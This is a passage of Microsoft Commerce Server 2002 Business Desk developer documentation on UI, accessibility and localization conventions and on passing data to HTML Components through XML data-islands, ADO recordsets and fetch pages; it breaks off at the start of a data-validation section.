In addition, there are a few icons intended for use in tasks for which multiple choices are offered. These choices are offered in the form of a menu that drops down from the task button when it is clicked. These icons all include a small down-arrow to inform the user that a menu offers further choices. The names of this type of icon file has the form taskTYPEMenu.gif, where TYPE describes the associated task. For example, the icon file associated with the new menu (task) is named taskNewMenu.gif.

Note

  • There is only one icon file per task, and the look of the different button states (enabled versus disabled versus clicked) is controlled by the Framework and the customizable style sheet (CSS).

In addition to the pre-defined icon files, you can place new icon files in the Assets folder and then refer to them in new module configuration files. However, for the sake of consistency, you should use one of the pre-defined icons wherever applicable.

If you need to create new icons, the size of task icons is 22 pixels tall by 23 pixels wide. The size of task menu icons is 22 pixels tall by 33 pixels wide.

There are other icons in the Assets folder that are not used directly by module developers. These include the icons used in error dialog boxes, which correspond to errors of different levels of severity, the icons used to indicate invalid and required input, and the animation icon displayed while a page is loading.


Accessibility

Commerce Server Business Desk Framework and modules have followed certain guidelines to help assure that Business Desk will be accessible to users with disabilities. To maintain consistency with the Framework and existing modules, new modules must follow the accessibility guidelines for Web applications. For more information about accessibility guidelines, see http://go.microsoft.com/fwlink/?LinkId=5161.

Some examples of these guidelines are:

  • The Business Desk must function properly with graphics turned off in the browser.
  • The Business Desk must continue to function properly when custom fonts and font sizes are configured in Internet Explorer.

The following additional design considerations should also be observed:

  • Color should never be the only visual clue.
  • Subtle use of color should be avoided. High contrast is more accessible.
  • Provide keyboard options, including those such as the tab key for navigating to different fields on a page. All visual elements on the page should be included in the tab order.
  • Avoid horizontal scrolling wherever possible.
  • Accommodate screen readers wherever possible. This means that tables and graphics should have associated text that explains their purpose and provides some level of detail about their contents.


Localization

The Commerce Server Business Desk Framework and the Business Desk modules that are delivered with Commerce Server 2002 have been developed in a way that helps to minimize the cost of translating Business Desk into foreign languages. Depending on the circumstances in which a new Business Desk module is being developed, it might be wise for you to adopt the same general guidelines followed by Microsoft developers.

The following list enumerates these guidelines:

  • Navigation should tend to be located at the left and top of the page.
  • Horizontal groupings of controls (other than task buttons) should be avoided so that the typical expansion associated with localization does not disrupt the display.
  • The proper codepage and response charset should be specified in two specific Business Desk include files that are included by all pages. Normal module pages that display HTML in the content pane should be modified to use the proper codepage in the include file BDHeader.asp. Module fetch pages, which are designed to return nothing except XML, should be modified to use the proper codepage in the include file BDXMLHeader.asp.
  • Each module should have a file called "<ModuleName>Strings.asp" in which localizable strings are defined as VB Script constants. Any action page that needs to display one of these strings should include the file and reference the string using its constant name. Hard coded strings should be avoided.
  • Building strings from sub-strings should be avoided because the subject/verb/object order can vary from language to language. Where appropriate, the framework routine sFormatString should be used to ease localization efforts.
  • Allow extra space in forms for the string expansion that typically occurs during localization.
  • Do not use images with text in them.
  • Do not display SQL column names, which will not be localized, on an action page. Other mechanisms exist for supplying display names.
  • Do not display partial file names as part of other messages.


Title Bar

The title bar is used to display information about the current module and action page. Title bar text should use the following format:

Module Title - [action] [option]


Task Bar

Task bar conventions fall into two categories:

  • Conventions for the left-to-right ordering of the task buttons.
  • Conventions and mechanisms for handling the enabled/disabled state of the different types of tasks.

Task Button Order

On List Pages, tasks should be ordered in the taskbar in the following order, starting from the left:

  1. Individual item tasks that do not require selection. For example, View, New, and Compose.
  2. Individual item tasks that do require selection. For example, "Open", "Run", "Preview", and "ViewDetails". Paired tasks also belong in this category. For example, "Delete/Restore" and "Archive/Unarchive".
  3. Tasks that operate on the entire list. For example, "Publish", "Refresh", and "Find".
    • When in doubt, use the modules delivered with Commerce Server as examples.

On Edit Pages, order tasks as follows:

[Back] [SaveBack] [Save] [SaveNew]

Enabling and Disabling Tasks

The New and Find tasks are automatically enabled by the Framework routine OnLoad. When a New task menu is used, the individual menu items must be enabled and disabled by the module page.

The Save and SaveNew tasks are automatically managed by the Framework so long as there is one top level (master) EditSheet HTC that has the OnChange, OnRequire, and OnValid events handled by the SetDirty, SetRequire, and SetValid methods, respectively. In general, the Save and SaveNew tasks should only be enabled when something has been changed and there is no missing required data and no invalid data.

Tasks must be re-enabled after an OnTask routine has been cancelled and the form is not submitted.

The Open, Copy, and Delete tasks should only be enabled when item(s) that support the respective operation are selected. Other tasks that depend on an item being selected should behave in the same way.

The Back task on Edit Pages is always enabled by the Framework.

Tasks that are always available should be enabled in the OnLoad routine and whenever an OnTask routine does not submit the form.


ListSheets

New modules that use ListSheet HTCs in their list pages should conform to the following guidelines:

  • ListSheets containing only one column should not allow sorting (sort='no') since the order would not change.
  • ListSheets that are showing a filtered view of the list based on criteria provided in the find pane should have the following label (placed above the ListSheet in question) to remind the user that they are viewing a filtered list:

    Filtered View (use the Find command to modify the filter criteria)

    A tooltip should be provided for this label. The tooltip should show the criteria upon which the filtered list is based.


EditFields

New modules that use EditField HTCs panes in their list pages should conform to the following guidelines:

  • Editfield input prompts should use the defaults for the field type unless the default prompt is ambiguous or does not convey enough information. For example, a name field with the default "enter text" prompt may be fine, but a password field or a field meant to contain an email address should probably be more specific.
  • Required fields will be indicated with a small red diamond to their left. This is the primary method available for teaching users about which fields are required and which are not.


Find Pane

New modules that use find panes in their list pages should conform to the following guidelines:

  • If a list page starts out with an empty list, the find pane should be initially showing. This most often occurs when showing the entire list by default is not practical due to its size. For more information about showing the find pane, see ShowFindBy (client-side).
  • If a list pages starts out with data displayed in its list, the find pane should be initially hidden. For more information about hiding the find pane, see HideFindBy (client-side).
  • Find pane field prompts should use the defaults for the field type unless the default prompt is ambiguous or does not convey enough information. For example, a name field with the default "enter text" prompt may be fine, but a password field or a field meant to contain an email address should probably be more specific.

    In the case of a drop down list, use the default prompt, or provide a default selection to avoid showing a prompt at all.

  • In find pane fields that support the use of wildcard characters, include a line at the bottom to indicate this fact, phrased as follows:

    Wildcard characters (*) can be used in the <field name> field

  • If a find pane has multiple groups of find fields, each displayed or hidden based on some selection control, it should usually have a Find All button for easy access to the data. The Find All should be the default, until changed by the user. Note that sometimes the sheer size of the list prevents the Find All button from being feasible.
  • If a find pane has just one group of find fields, such that any of the properties may be changed but none of them are ever hidden, the default values in those fields should be the most common ones, yielding the result most likely to be useful to the user.
  • In situations where the find pane presents a large number of options, a Reset button should be included, so that the find criteria can easily be restored to its original state.


Modal Dialog Boxes

In Commerce Server Business Desk, modal dialog boxes are used to offer one or more choices to the user. One use of modal dialog boxes is when transitioning from one page to another, or between different tasks on the same page. Depending on the choice(s) made, the user may be shown different subsequent pages, or default values may be provided in a different way.

If a simple choice needs to be made when clicking on a task button, it is preferable to use task menus rather than displaying a modal dialog box. For more information about task menus, see Task Buttons and Menus.

It is not possible to anticipate all situations in which a Business Desk module might appropriately use a modal dialog box. An alternative is to familiarize yourself with the use of modal dialog boxes in the modules that ship with Commerce Server 2002 and follow their lead.

To promote consistency, modal dialog boxes created for new modules should follow the same conventions used by the modal dialog boxes in existing modules, as follows:

  • The background color for all modal dialog boxes should be the same color as used for the background of Business Desk itself. This should occur automatically when the Business Desk customizable style sheet (CSS) is used.
  • The font for all text in modal dialog boxes is 8 pt. Verdana.
  • All buttons along the bottom of the dialog should be right-justified by including them in a table with a wide far-left cell and follow the normal order of such buttons in Win32 applications:
    <table width=100%><tr>
<td width=100%></td>
<td><button…><button…><button…></td>
</tr></table>


Confirmation, Warning, and Error Dialogs

Confirmation, warning, and error dialogs should conform to the following conventions:

  • All warning messages should be displayed in a message box with the title text set to "Warning". The only button should be the OK button (vbOKOnly).
  • All field validation errors should be displayed in a message box with the title text set to "Validation error". The only button should be the OK button (vbOKOnly).
  • Cross-field validation should usually be done using the onChange event for all fields involved. For example, if you want an end date to always be after a start date, then you should add an onChange event handler to both fields that checks that both fields are valid and that this condition exists; if not, you should display a message box as described above.
  • Any errors other than field validation should be displayed using the ShowErrorDlg routine. Server-side errors can be saved for display on the next page by calling SetError routine. For more information about these routines, see ShowErrorDlg (client-side) and SetError (server-side).
  • Delete confirmation dialogs should be displayed in a message box with the title text set to "Delete?". The dialog should use Yes and No buttons (vbYesNo). Confirmation dialogs for Restore or other similar operations should be handled in the same way.
  • The file SharedStrings.asp defines a number of string constants meant for use in these types of dialogs.
  • To promote a consistent user interface for simple confirmation, warning, and error dialogs, use the ASP files dlg_confirm.asp, dlg_warn.asp, and dlg_error.asp, respectively, as the first argument to the showModalDialog routine.

    These files are located in the Include folder. See the file ActionPageUtil.asp for examples.

Properly built Edit Pages allow the Framework to handle the enable/disable state of the Save and SaveNew tasks as well as Save confirmation and warning dialogs. The following practices must be observed to obtain this behavior:

  • Use one master EditSheet HTC to contain all editing controls on the page.
  • Associate the following handlers with the master EditSheet HTC events:
    • The SetDirty method with the onChange event,
    • The SetRequired method with the onRequire event, and,
    • The SetValid method with the onValid event.

    If additional functionality is required, make sure you call one of these routines, as appropriate, in your event handler.

  • If nested EditSheet HTCs on the page use the template mechanism for freeform layout, make sure to register the IDs of any HTCs within the template in the register attribute of the template element.
  • HTML checkbox and radio button elements need special handling because they do not fire the onChange event. This means that they cannot be registered using the register attribute of the template element. For HTML checkbox and radio button elements, explicitly call the SetDirty method as the onClick handler for each element.
  • When the Edit Page is properly constructed, the Save and SaveNew buttons will not be enabled unless changes have been made to the page, all fields are valid, and no required fields are missing. Note that any special cross-field validation must be done separately.


Asynchronous Behavior

Commerce Server Business Desk modules should not leave the user wondering whether Business Desk is still working or not. This means that operations that take a long time to complete should be performed asynchronously, with some feedback provided to the user indicating that the operation has been started and is being performed.

Any operation that could take more than 10 seconds to complete should provide an intermediate page with the status message: "Loading... Please wait." This is automatically displayed when initially loading a page and when a ListSheet HTC is executing a fetch operation via XMLHTTP.

Operations that could take in excess of one minute to complete, such as importing or exporting a catalog, or generating reports, should be designed in a truly asynchronous fashion. They should run on the server in a separate process, allowing the Business Desk user to perform other tasks in the meantime. The user should be informed that processing has begun, and there should be a page where the user can view the completion status of all such long-running operations.


Error Messages

Commerce Server Business Desk uses a centralized set of friendly error messages for use by all Business Desk modules. These error messages are used for errors encountered within the Business Desk module code, and not in response to HTTP errors. Typically, modules also define their own, unique error messages for use where no shared friendly error message will suffice.

Friendly error messages are passed to the routines SetError and ShowErrorDlg as a text string (in the strFriendlyError parameter).

Server-side friendly error messages are available through a MessageManager object, initialized on application start-up (Global.asa), and then placed in the Application object. Client-side friendly error messages are available through the XML Document Object Model (DOM), added to it when the Business Desk Framework initializes. Using these mechanisms, all module writers have access to the same set of shared error messages.

In addition to both centralized and private friendly error messages, the routine that displays errors can also include detailed information. The detailed information is initially hidden in the error dialog box, but can be shown by clicking the Details button.

Detailed error information is passed to the routines SetError and ShowErrorDlg as a string containing pre-formatted HTML (in the strErrorDetails parameter). If the strErrorDetails parameter is found to be empty, then no Details button is displayed in the dialog box.

The HTML formatting typically specifies a small table with two columns containing a name and value, respectively.

There are a number of client-side and server-side error formatting routines, designed to translate a variety of error objects into a corresponding HTML table. For example, the sGetScriptError client-side routine formats the contents of the global VBScript Err object into an HTML table, and returns it as a string.

The Business Desk Framework provides the following two client-side and four server-side error formatting routines, useful for formatting ADO, ASP, VBScript, and XML Parse errors.

Server-side error formatting routines:

sGetADOError (server-side) | sGetScriptError (server-side)
sGetASPError (server-side) | sGetXMLError (server-side)

Client-side error formatting routines:

sGetScriptError (client-side) sGetXMLError (client-side)

The server-side routine SetError caches its parameters in the Session object, where they are displayed on the client the next time one of the taskbar insertion routines is called. The SetError routine also appends the error to the Microsoft Windows NT Event Log.

Business Desk handles HTTP errors differently, displaying a custom error page. This page contains the original Internet Information Services (IIS) error text, but it is presented in a page that is branded with a Business Desk image. By default, all HTTP "page not found" and "access denied" errors reported by IIS are handled in this standard way.

HTCs gracefully handle XML configuration inputs with missing attributes or tags. If an HTC encounters an error when initializing due to malformed XML, the control will not display and a standard message stating "The control could not load. Please contact your system administrator" will be displayed in a standard message box. There will also be a button that allows the user to see the details of the XML error that caused the control failure.

Data validation error checking is typically performed, and appropriate errors displayed, within the HTCs being used to edit the data. Additional validation error messages, such as for cross-field validation, should display using the standard MsgBox function in the Internet Explorer Document Object Model (DOM).

The ListSheet HTC expects errors returned from fetch pages to be encoded in error nodes by the AddErrorNode routine in the file HTTPXMLUtil.asp. The ListSheet HTC will then automatically display these errors in a dialog.


Status Messages

Status messages should conform to the following guidelines:

Selection:

  • When a single item is selected in a list, the status text should read:

    Selected itemtype: itemname

  • When multiple items are selected, the status text should read:

    number selected

  • When the Select All button is used, the status should read:

    All items in all pages are selected

  • When the last selected item is unselected, the status text should read:

    No items selected

Find:

  • When no items are found, the status text should read:

    No items found

  • When one item is found, the status text should read:

    1 item found

  • When a known number of multiple items are found, the status text should read:

    number items found

Delete:

  • When a single item is successfully deleted, the status text should read:

    Deleted itemtype: itemname

  • When multiple items are successfully deleted, the status text should read:

    number items deleted

  • When a single item is not successfully deleted, the status text should read:

    Unable to delete: itemname

  • When multiple items are not successfully deleted, the status text should read:

    Unable to delete number items

For other operations that result in the re-display of a list, status text similar to that used for Delete operations should be used. Examples of such operations include: import, export, and restore.


Links Between Modules

In general, if one module contains a direct link to another module, it should be implemented through a task button. For example, there is a task button in the Campaign Manager that links to the analysis reports.


Help Topics

To specify a help topic for a particular action page with a module, provide the name of the HTML file containing the help topic as the value of the helptopic attribute of the appropriate action element in the appropriate module configuration file. This file must exist in the docs/htm folder.

When new help topics are added to the docs/htm folder, you can also add corresponding entries to the file Bizdesk.hhc in the docs folder. This will allow the new topics to appear in a particular location within the help system table of contents. Any new index entries related to the new topics can be added to the file Bizdesk.hhc, located in the same folder.

Note

  • Extreme care should be used when making additions to the .hhc and .hhk files so that the existing table of contents and index entries are not disturbed.

Dialog boxes can also have help displayed from a button to the right of the OK and Cancel buttons. When this button is clicked, call the OpenHelp routine with the name of the HTML file containing the help topic in question. This file must exist in the docs/htm folder.


Business Desk Configuration

Different instances of Commerce Server Business Desk can be configured to contain different categories and modules. This configuration is accomplished using a distinct set of XML files for each Business Desk instance. This set of files is comprised of a single master configuration file, named BizDesk.xml, and a series of module configuration files, whose names are variable but refer to the particular module or category with which they are associated. The XML in these two types of files is combined to create a particular configuration using moduleconfig elements in the master configuration file, each of which specifies a distinct module configuration file.

Multiple modules can be defined in a single module configuration file, or each module can be defined in its own module configuration file, or some combination thereof.

The order of category definition in the master configuration file, the order of module definition with a module configuration file, and the order in which module configuration files are defined as belonging to a particular category, define the order in which categories and modules appear in the navigation pane.

All of the configuration files for a particular site, both master and module configuration files, are located in the Config folder under the root folder of the site.

When the Business Desk application loads, it creates a Dictionary object structure that merges the information in the master configuration file and all associated module configuration files, and stores this structure in the Application object. Then, for each particular Business Desk session, this structure is filtered based on the role defined for the current user, creating a custom Business Desk navigation tree for that role.

Note

  • Any manual changes to the master and module configuration files are not reflected in Business Desk until Internet Information Services (IIS) is reset or the Business Desk application is otherwise restarted.

A detailed explanation of the structures of the master and module configuration files is provided in the following XML reference topics:

  • Master Configuration File
  • Module Configuration Files


Data Manipulation in Business Desk

Commerce Server Business Desk is a data-driven application that serves as a management interface for data-driven Web sites. It provides an easy to use mechanism for examining and modifying the various items of data displayed as the content of the Web site pages viewed by Web site users. This data is usually stored in Microsoft SQL Server 2000 databases and the Active Directory directory, though it is possible for the data to exist in other types of databases.

Another important aspect of Business Desk is its reliance on Dynamic HTML (DHTML) and HTML Components (HTCs). These technologies allow for more interactivity within the Web browser itself than has been typical of Web applications, dramatically reducing the number of server roundtrips required to manipulate data in powerful ways. The data to be manipulated is delivered to the Web browser within the page itself; it is passed to the Web browser in a form known as an XML data-island.

An XML data-island is a well-formed segment of XML contained within an xml element and identified by the value associated with the id attribute of that element. The data itself is represented within the XML structure. The structure of the XML is limited only by the rules of XML syntax and the conventions adopted by the script code that is designed to access it. The data is accessed using the normal mechanisms of the Document Object Model (DOM). Such access occurs within the various HTCs that are part of the Business Desk Framework, and can also occur in client-side script on the Web page itself.

The purpose of this section is to describe the typical mechanisms employed by various Business Desk modules to allow Business Desk users to alter the Web site while minimizing the server roundtrips often associated with poor performance in Web applications. The basic steps required to provide this functionality are:

  1. ASP code on a Business Desk module Web page retrieves the data from the database, typically using Active Data Objects (ADO).
  2. ASP code on the page converts a Recordset object returned by ADO into an XML data-island using one of several framework routines.
  3. Microsoft Internet Explorer 5.5 downloads the page, which now contains the XML data-islands and elements with styles linking them to the corresponding HTCs. All the edit type HTCs with the exception of the ExpressionBuilder, ListEditor and DynamicTable include form elements that will automatically be posted with an enclosing form.
  4. The HTCs execute within Internet Explorer 5.5, using the included XML data-islands as the source of configuration information and the data to be displayed.
  5. The user makes changes to the data, eventually requesting that those changes be saved.
  6. The changes are posted back to a Business Desk module Web page using an HTML form. This page converts the posted changes into the appropriate ADO Recordset object format, and then uses ADO to update the database with those changes.

The remainder of this section consists of topics discussing each of these main aspects of data manipulation.

This section contains:

  • XML Data-Islands. Describes how XML data-islands on the ASP pages are used to pass data to the HTCs, and specifically describes the different ways in which XML data-islands can be created.
  • Data versus Meta-data. Describes the difference between data and meta-data in the context of Business Desk, and particularly in the context of the HTCs provided by the Business Desk Framework.
  • Retrieving Data. Describes typical mechanisms for accessing databases from server-side script.
  • Getting Data to the Client. Describes how the Recordset objects returned by ADO are converted to XML data-islands on the page being downloaded to the Web browser.
  • XML Data Merging. Describes how some XML data-islands can be merged for use in the more complex forms of the ListSheet HTC.
  • XMLHTTP Operations and Fetch Pages. Describes special mechanisms used by the ListSheet and TreeView HTCs for retrieving new data from the server without needing to be reloaded in the browser.
  • Data Validation. Describes the data validation techniques employed within both client-side and server-side scripts.
  • Saving Changes to Data. Describes how the data representing modified records is returned to the server and persisted back to the databases from which it originated.


XML Data-Islands

XML data-islands are used to pass data to the HTML Components (HTCs) used on many of the ASP pages in Commerce Server Business Desk. An XML data-island is data, described in XML, that is accessed through an id attribute associated with one of two different elements (xml and script) that might be contained in the ASP page. The data itself often exists in the ASP pages themselves, but need not.

An XML data-island can exist in an ASP page, either hard-coded or generated programmatically using ASP script, using one of the following three tagging mechanisms:

  • Within an xml element:
    <xml id='DataIslandID'>
    data-island XML can go here
</xml>
  • Within a script element that includes the type attribute with the value "text/xml":
    <script type='text/xml' id='DataIslandID'>
    data-island XML can go here
</script>
  • Within a script element that include the language attribute with the value "xml":
    <script language='xml' id='DataIslandID'>
    data-island XML can go here
</script>

The XML data comprising the data-island does not need to be specified on the ASP page itself. Any of the above mechanisms for embedding an XML data-island on an ASP page can use the src attribute to specify the URL of another file from which the contents of the data-island will be retrieved. Any of the following three single lines of code, in conjunction with the data-island XML contained in the specified source file, specify legitimate XML data-islands:

<xml    id='DataIslandID' src='XMLDataFileURL' />
or
<script id='DataIslandID' src='XMLDataFileURL' language='xml' />
or
<script id='DataIslandID' src='XMLDataFileURL' type='text/xml' />


Data versus Meta-data

The HTML Components (HTCs) used to manipulate data within Commerce Server Business Desk modules are instantiated on a Web page as DHTML behaviors associated with an element on the page, typically a DIV element. This element is known as the container element because it contains the HTC. The container element can have arbitrary attributes assigned to it, allowing them to be accessed from the code in the HTC. Such attributes are known as container attributes, and an important aspect of understanding each of the HTCs supplied with the Business Desk Framework is an understanding of the container attributes it expects to be associated with its container element.

A common type of value for a Business Desk HTC container attribute is a string that is the ID of a corresponding data-island in the document. Two of the container attributes expected by most of the Business Desk HTCs each provide the ID of an XML data-island. One of these IDs references a data-island that contains the actual data to be manipulated, represented in a standard format that is an XML representation of a set of database records. The other ID references a data-island that contains what is known as meta-data, or data about the data. For each of the fields in the records of the set, this includes such information as the type of the data and the name to be displayed in the column heading. In addition, the meta-data for many HTCs includes global configuration information that affects the display and behavior of the HTC as a whole.

The data for a particular field in one data-island and the corresponding meta-data for that field in the other data-island are associated using XML attributes and elements. Attributes in the meta-data XML identify a corresponding element in the XML containing the data.

The following table shows the container attributes associated with each of the Business Desk HTCs. With the exception of the meta-data container attribute named DataID, all the data and meta-data container attributes are assigned values that are the same as the value of the id attribute of the corresponding XML data-island (the id attribute of an xml or script element). The container attribute DataID is a special case; it is assigned a value that is the same as the id attribute of a field element within the data-island specified by the corresponding MetaXML container attribute.

HTC Name | Data Container Attributes | Meta-Data Container Attributes | Miscellaneous Container Attributes
DynamicTable | DataXML | MetaXML | <none>
EditField | DataXML | MetaXML | <none>
EditSheet | DataXML | MetaXML | <none>
ExpressionBuilder | <none> | XMLCfgID | <none>
ListBox | <none> | <none> | <none>
ListEditor | DataXML | MetaXML | <none>
ListSheet | DataXML | MetaXML | <none>
QueryBuilder | <none> | XMLCfgID | AutoActivate
TreeView | DataXML | <none> | <none>

The format of the meta-data data-islands is specific to each HTC. For more information about the details of these XML formats, see Business Desk XML Structures.

With one exception, the data-island associated with the DataXML container attribute is in a standard format, regardless of which HTC is in use. For more information about this standard format, creating data-islands programmatically, and creating data-islands containing hierarchical data, see HTML Component Data Representation, Getting Data to the Client, and XML Data Merging, respectively.

The exception to the standard format usage is the TreeView HTC, which expects the data-island associated with the DataXML container attribute to have a completely different format. For more information about this format, see TreeView Configuration.


Retrieving Data

In general, the Commerce Server Business Desk modules that ship with Microsoft Commerce Server 2002 make use of Active Data Objects (ADO) within ASP code to access a database and retrieve the relevant information in the form of an ADO Recordset object. Business Desk provides some global variables and utility functions for creating ADO Connection and Command objects that most of the Business Desk modules shipped with Commerce Server 2002 use. These variables and functions are defined in the Business Desk include file DBUtil.asp.

The DBUtil.asp include file includes the following line to define global ADO Connection and Command objects for use on Business Desk module ASP pages:

Dim g_oConn, g_oCmd

The DBUtil.asp include file defines the routine oGetADOConnection. This routine takes a connection string as its only parameter. It returns a reference to an ADO Connection object that has been initialized with connection and command timeouts of 15 and 30 seconds, respectively, and that has been opened using the passed connection string.

The DBUtil.asp include file also defines the routine oGetADOCommand. This routine takes a Connection object and a command type as parameters. It returns a reference to an ADO Command object that has been initialized to use the passed connection and command type. The passed command type is typically AD_CMD_TEXT, which is also defined in this file.

When these two routines are combined with the creation and opening of an ADO Recordset object, the result is a Recordset object containing the results from the query, ready to be converted into an XML data-island. For more information about converting a Recordset object into and XML data-island, see Getting Data to the Client. The strings sYourConnectionString and sYourSqlQuery, used in the following script, must have been defined elsewhere.

Set g_oConn = oGetADOConnection(sYourConnectionString)
Set g_oCmd = oGetADOCommand(g_oConn, AD_CMD_TEXT)

Dim rsRecSet
g_oCmd.CommandText = sYourSqlQuery
Set rsRecSet = Server.CreateObject("ADODB.Recordset")
rsRecSet.Open g_oCmd, , AD_OPEN_KEYSET, AD_LOCK_PESSIMISTIC


Getting Data to the Client

Data is passed to the Commerce Server Business Desk HTML Components (HTCs) in the form of XML data-islands, frequently within the Web page itself. When the HTCs are executed by Internet Explorer 5 on the client, they can access and display this data for the Business Desk user.

For more information about the ways in which XML data-islands can be created on a page, see XML Data-Islands.

The DBUtil.asp include file defines several routines for producing XML data-islands in the correct format. These routines write all the resultant XML onto the page with the exception of the surrounding xml or script element, and its attributes. Note that the id attribute of both the xml and the script elements is required to identify the data-island to the HTC that is going to use it.

The DBUtil.asp include file contains two routines for converting ADO Recordset objects into the corresponding XML data-islands understood by the HTCs: xmlGetXMLFromRS and xmlGetXMLFromRSEx. It also includes two routines that result in the same XML data-islands, but that also include the database connection and query steps: xmlGetXMLFromQuery and xmlGetXMLFromQueryEx. For more information about these functions, see one of the following:

  • xmlGetXMLFromRS (server-side)
  • xmlGetXMLFromQuery (server-side)
  • xmlGetXMLFromRSEx (server-side)
  • xmlGetXMLFromQueryEx (server-side)

Many of the Microsoft Commerce Server 2002 COM objects are designed to return ADO Recordset objects specifically so that one of these routines can be called to convert them to XML data-islands on an ASP page.

The following code example shows how the invocation of the xmlGetXMLFromRS routine can appear within an xml element on an ASP page. Invocation of this routine and each of the other three routines can appear within an xml element, or within a script element containing the proper attributes to identify it as containing an XML data-island. The id attribute of the xml or script element, DataIslandID, is then assigned to the DataXML container attribute of the DIV element containing the corresponding HTC.

<xml id='DataIslandID'>
<%
    xmlGetXMLFromRS rsRecordset
%>
</xml>

From the perspective of the HTC, it is not important that the XML data-island be produced using one of the provided routines, or even that it be produced from an ADO Recordset object. All that matters from the perspective of the HTC is that the XML data-island be in the expected format. This design allows for greater flexibility with respect to where the data originates, and how it is processed prior to being converted to the proper XML format. The original data may be hard-coded on the page or even the result of an XSL transform.


XML Data Merging

The ListSheet HTML Component (HTC) can be instantiated in several different modes. Many of these modes present data in a hierarchical fashion, allowing details to be hidden, drilled into, and then hidden again. When operating in this manner, the ListSheet HTC expects data to be represented hierarchically in the corresponding XML data-island. This is achieved by merging either two (or three) distinct single-tiered XML data-islands into a single two-tiered (or three-tiered) data-island. The following routines, provided by the Commerce Server Business Desk Framework, perform data merging of this sort:

sMergeGroups2 (server-side) | sMergeGroups2 (client-side)
sMergeGroups3 (server-side) | sMergeGroups3 (client-side)
xmlMergeGroups2 (server-side) | xmlMergeGroups2 (client-side)
xmlMergeGroups3 (server-side) | xmlMergeGroups3 (client-side)
 | xmlMergeGroupsByID2 (client-side)
 | xmlMergeGroupsByID3 (client-side)

The following example illustrates how XML data merging works for two levels. A three level merge is conceptually similar. The following XML representation of two records is considered to be the higher-level information, containing in this case the name and age of different people, to be displayed in the group rows of a ListSheet HTC (the userid is configured to be hidden).

<xml id=master>
    <document recordcount=2>
        <record>
            <name>David</name>
            <age>39</age>
            <userid>dav001</userid>
        </record>
        <record>
            <name>Sarah</name>
            <age>33</age>
            <userid>sar015</userid>
        </record>
    </document>
</xml>

The following XML representation of three records is considered to be the detailed information, containing in this case the names and ages of the children of the people in the XML structure above, to be displayed in the detail rows of a ListSheet HTC (the userid is configured to be hidden).

<xml id=detail>
    <document recordcount=2>
        <record>
            <userid>sar015</userid>
            <name>Jennifer</name>
            <age>6</age>
        </record>
        <record>
            <userid>sar015</userid>
            <name>Thomas</name>
            <age>3</age>
        </record>
        <record>
            <userid>dav001</userid>
            <name>Lilly</name>
            <age>10</age>
        </record>
    </document>
</xml>

A variety of MergeGroups routines can be used to combine either two or three sets of XML records, resulting in a two- and three-tier set of records appropriate for use with a two- or three-level ListSheet HTC. If the two XML structures above are represented in two XML document objects referenced by the variables xmlMaster and xmlDetail, respectively, they could be merged by calling the following routine, which places the resulting merged XML in the string variable sMerged:

sMerged = sMergeGroups2(xmlMaster, xmlDetail, "userid")

The field element name userid is passed in as the key. It must be an element that exists in both sets of records. If a record in the master set and a record in the detail set are found to have the same value for the specified element, the two records are merged in the resulting set, with the master record elements occupying the first-tier of the result record and the detail record elements occupying the second-tier of the result record.

The following XML representation shows the result of combining the two sets of records above. The merged, second-tier fields are shown in bold font. Note that the key element, at least, appears on both tiers of the result records:

<xml>
    <document recordcount=2>
        <record>
            <name>David</name>
            <age>39</age>
            <userid>dav001</userid>
            <record>
                <userid>dav001</userid>
                <name>Lilly</name>
                <age>10</age>
            </record>
        </record>
        <record>
            <name>Sarah</name>
            <age>33</age>
            <userid>sar015</userid>
            <record>
                <userid>sar015</userid>
                <name>Jennifer</name>
                <age>6</age>
            </record>
            <record>
                <userid>sar015</userid>
                <name>Thomas</name>
                <age>3</age>
            </record>
        </record>
    </document>
</xml>


XMLHTTP Operations and Fetch Pages

The ListSheet and TreeView HTML Components (HTCs) support a special class of operations in which a form is posted to a special type of page on the server. This type of page is known as a fetch page. Fetch pages are designed to process these operations and return the results as an XML document containing data in the standard XML data format.

Nothing besides the XML data can be present on the page being returned. Indeed, the content type of the page being returned must be set to "text/xml." Specifically, every fetch page should include the file BDXMLHeader.asp, which establishes the content type and other common page characteristics. Some of the lines from this include file are shown here with the two alternative forms of the first line, the second of which specifies the Norwegian IA5 codepage (do not duplicate line 1 in the actual include file):

 Line
   1    <%@ Language=VBScript %><%'@ Language=VBScript CodePage=1252 %><%
   1    <%'@ Language=VBScript %><%@ Language=VBScript CodePage=20108 %><%
   2
   3    ' switch the @ lines above to set a codepage
   4    ' that is different than the system locale
   5
   6    '   IE 5.5 supports the following settings for charset and codepage:
   7    '      (these are recommended though not all have been tested)
   8

At this point, the file BDXMLHeader.asp includes a list of possible CodePages. Refer to the actual file for details.

   n
 n+1    Option Explicit
 n+2
 n+3    if not isEmpty(Application("MSCSPageEncodingCharset")) then _
 n+4               Response.Charset = Application("MSCSPageEncodingCharset")
 n+5    Response.AddHeader "Pragma", "no-cache"
 n+6    Response.ContentType = "text/xml"
 n+7    Response.Expires = -1
 n+8    Response.Buffer = true
 n+9    %><?xml version='1.0' encoding='<%= Response.Charset %>' ?>
n+10

It is important that the content type of the returned page is set to "text/xml" so that the browser passes the data through to the existing list page, without re-rendering anything. The point of an XMLHTTP operation is to allow the ListSheet and TreeView HTCs to fetch and display new data from the server without reloading the entire list page.

Since the ListSheet HTC posts an XML document, the fetch page can access the various arguments included with the posted form by converting this XML request to a Dictionary object using the dGetRequestXMLAsDict routine. For example:

set g_dRequest = dGetRequestXMLAsDict()
sOperation = g_dRequest("op")

Another important consideration in the construction of fetch pages concerns include files. Since the data returned by the page must be pure XML, any client-side script or HTML will corrupt this XML and make it invalid. The file ActionPageUtil.asp is a good example of a file that must not be included in fetch pages for these very reasons.

At times, the fetch page may need to save some or all of the data passed to it as form arguments so that that data can serve as defaults for the remainder of the session. The ASP Session object is the most natural candidate for saving this type of data. A common example of this type of data is the criteria used within the find pane. If preserved in the Session object, these criteria can be available to be set as the default values in the event that the list page needs to be re-rendered (such as after returning from an edit page).


Data Validation

One of the main purposes of Commerce Server Business Desk is to provide a way for business managers to change the data that determines how their Web site appears to users. Such changes can consist of changing existing data, adding new data, or deleting old data. Several types of errors can occur when data is entered. The entered data might not be of the correct type, or it could exceed the allowable range of values. When a new record is being created, some of the required data could be missing. Further, there could be inconsistencies between various fields in a record based on dependencies between those fields.

Some types of errors are relatively easy to detect and handle in a generic way. Such errors are handled automatically within the relevant HTML Components (HTCs), completely on the client-side. Such errors include:

